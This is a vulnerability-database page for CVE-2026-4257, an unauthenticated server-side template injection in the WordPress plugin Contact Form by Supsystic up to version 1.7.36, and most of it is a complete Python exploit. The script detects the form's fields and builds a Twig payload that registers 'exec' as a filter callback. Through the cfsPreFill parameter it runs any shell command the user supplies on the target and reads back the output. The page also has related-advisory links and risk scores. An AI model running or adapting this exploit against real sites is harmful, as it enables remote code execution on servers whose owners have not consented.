Lucene search
+L

📄 WordPress Supsystic Contact Form 1.7.36 Server-Side Template Injection

🗓️ 14 May 2026 00:00:00Reported by bootstrapboolType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 65 Views

WordPress Supsystic Contact Form up to 1.7.36 is vulnerable to server-side template injection (CVE-2026-4257).

Related
Code
ReporterTitlePublishedViews
Family
githubexploit
Exploit for CVE-2026-4257
18 Apr 202619:39
githubexploit
githubexploit
Exploit for CVE-2026-4257
11 May 202605:24
githubexploit
githubexploit
Exploit for CVE-2026-4257
9 Jul 202608:02
githubexploit
attackerkb
CVE-2026-4257
30 Mar 202621:26
attackerkb
circl
CVE-2026-4257
30 Mar 202622:20
circl
cnnvd
WordPress plugin Contact Form by Supsystic 代码注入漏洞
30 Mar 202600:00
cnnvd
cve
CVE-2026-4257
30 Mar 202621:26
cve
cvelist
CVE-2026-4257 Contact Form by Supsystic <= 1.7.36 - Unauthenticated Server-Side Template Injection via Prefill Functionality
30 Mar 202621:26
cvelist
exploitdb
WordPress Plugin Supsystic Contact Form 1.7.36 - SSTI
14 May 202600:00
exploitdb
euvd
EUVD-2026-17239
31 Mar 202600:31
euvd
Rows per page
# Exploit Title: WordPress Plugin Supsystic Contact Form 1.7.36 - SSTI
    # Date: 3/30/2026
    # Exploit Author: bootstrapbool
    # Vendor Homepage: https://supsystic.com/plugins/contact-form-plugin/
    # Software Link: https://wordpress.org/plugins/contact-form-by-supsystic/
    # Version: <= 1.7.36
    # Tested on: Ubuntu 24 and Windows 10
    # CVE : CVE-2026-4257
    
    
    import argparse
    import base64
    import re
    import requests
    
    class status:
        OKGREEN = "\033[32m"
        WARNING = "\033[33m"
        FAIL = "\033[31m"
        ENDC = "\033[0m"
        NOCOLOR = False
        VERBOSE = False
    
        @classmethod
        def print(cls, message: str, status: str = None):
    
            if cls.NOCOLOR:
                print(message)
                return
    
            match status:
                case "FAIL":
                    print(f"{cls.FAIL}{message}{cls.ENDC}")
                case "WARNING":
                    print(f"{cls.WARNING}{message}{cls.ENDC}")
                case "SUCCESS":
                    print(f"{cls.OKGREEN}{message}{cls.ENDC}")
                case _:
                    print(message)
    
        @classmethod
        def vprint(cls, message: str, status: str = None):
            if cls.VERBOSE:
                cls.print(message, status)
    
    def get_page(url: str) -> str:
    
        try:
            res = requests.get(url)
            res.raise_for_status()
        except requests.excpetions.RequestException as e:
            status.print(f"Request to {url} failed with {res.status_code}")
            exit(1)
    
        if res.status_code != 200:
            status.print(f"Got {res.status_code} for request to: {url}", "WARNING")
    
        return res.text
    
    def get_version(body: str) -> str | None:
        pattern = r'suptablesui.min.css\?ver=([0-9\.]+)'
    
        match = re.search(pattern, body)
    
        if match:
            return match.group(1)
    
    def is_vulnerable(version: str) -> bool:
    
        try:
            major, minor, patch = map(int, version.split("."))
            return (major, minor, patch) <= (1, 7, 36)
        except:
            status.vprint(f"Failed to parse version.", "WARNING")
    
    def detect_version(body: str):
        version = get_version(body)
    
        vulnerable = is_vulnerable(version)
        if vulnerable:
            status.vprint(f"Detected version {version} is vulnerable.", "SUCCESS")
        elif vulnerable != None:
            status.vprint(
                f"Detected version {version} is not vulnerable.",
                "WARNING")
    
    def detect_fields(body: str) -> list[str] | None:
        """Automatically attempt to get Contact Form fields to use for SSTI"""
    
        pattern = r'data-name="([^"]+)"'
    
        field_names = list(set(re.findall(pattern, body)))
    
        if field_names:
            status.print(f"Detected fields: {field_names}", "SUCCESS")
            return field_names
    
    def handle_field(body: str, field: str | None) -> str:
    
        if field:
            return field
    
        fields = detect_fields(body)
    
        if fields is not None:
            status.vprint(f"Using automatically detected field: {fields[0]}")
    
            return fields[0]
    
        status.print("Failed to detect fields.", "FAIL")
        exit(1)
    
    def get_output(field: str, body: str) -> str | None:
    
        pattern = rf'name="fields\[{re.escape(field)}\]"\s+value="([^"]+)"'
        match = re.search(pattern, body)
    
        if match:
            return match.group(1)
    
    def exploit(url: str, payload: str, field: str) -> str | None:
    
        utf8_var = "{%set a%}UTF-8{%endset%}"
        base64_var = "{%set b%}BASE64{%endset%}"
    
        twig_payload = "{%set p%}" +  base64.urlsafe_b64encode(payload.encode('utf-8')).decode('utf-8') + "{%endset%}"
    
        # The () ensures the variables are not treated as string literals
        twig_payload_decode = "{%set p = p|convert_encoding((a), (b))%}"
    
        register_callback = "{%set e%}exec{%endset%}{{_self.env.registerUndefinedFilterCallback(e|lower)}}"
    
        exec_filter = "{{_self.env.getFilter(p)}}"
    
        ssti_payload = utf8_var + base64_var + twig_payload + twig_payload_decode + register_callback + exec_filter
        status.vprint(f"Payload: {payload}")
    
        params = {
            "cfsPreFill": 1,
            field: ssti_payload}
    
        try:
            res = requests.get(url, params)
            res.raise_for_status()
        except requests.excpetions.RequestException as e:
            status.print(f"Request to {url} failed with {res.status_code}")
            exit(1)
    
        if res.status_code != 200:
            status.print(f"Got {res.status_code} for request to: {url}", "WARNING")
    
        return get_output(field, res.text)
    
    def main():
        parser = argparse.ArgumentParser()
        parser.add_argument(
            "--field",
            type = str,
            help = ("Valid field part of the Contact Form. The defaults are "
                + "first_name, last_name, subject, message, and email. Though it's "
                + "possible for none of these fields to appear. Not all field types"
                + "work. The tested field types that are confirmed to work are"
                + "Text, Textarea, Number, Email, Time, and URL. Buttons do not "
                + "work."))
        parser.add_argument(
            "--no-color",
            action = "store_true",
            help = "If you dont want pretty colors in your output.")
        parser.add_argument(
            "--verbose",
            "-v",
            action = "store_true")
        parser.add_argument(
            "url",
            type = str,
            help = ("Full URL to page with vulnerable Contact Form component. " \
                + "Ex: http://localhost:4444/sample.php"))
        parser.add_argument(
            "payload",
            type = str,
            default = None,
            help = ("Shell commands to be executed."))
    
        args = parser.parse_args()
    
        status.NOCOLOR = args.no_color
        status.VERBOSE = args.verbose
    
        body = get_page(args.url)
    
        detect_version(body)
        field = handle_field(body, args.field)
    
        output = exploit(args.url, args.payload, field)
    
        if output:
            if output.lower() == field.lower():
                status.print(
                    "Output is same as field. Maybe try a different field?",
                    "WARNING")
            status.print(output)
        else:
            status.print(
                f"Failed to extract output with field '{field}'",
                "FAIL")
    
    if __name__ == "__main__":
        main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 May 2026 00:00Current
6.2Medium risk
Vulners AI Score6.2
CVSS 3.19.8
EPSS0.41475
SSVC
65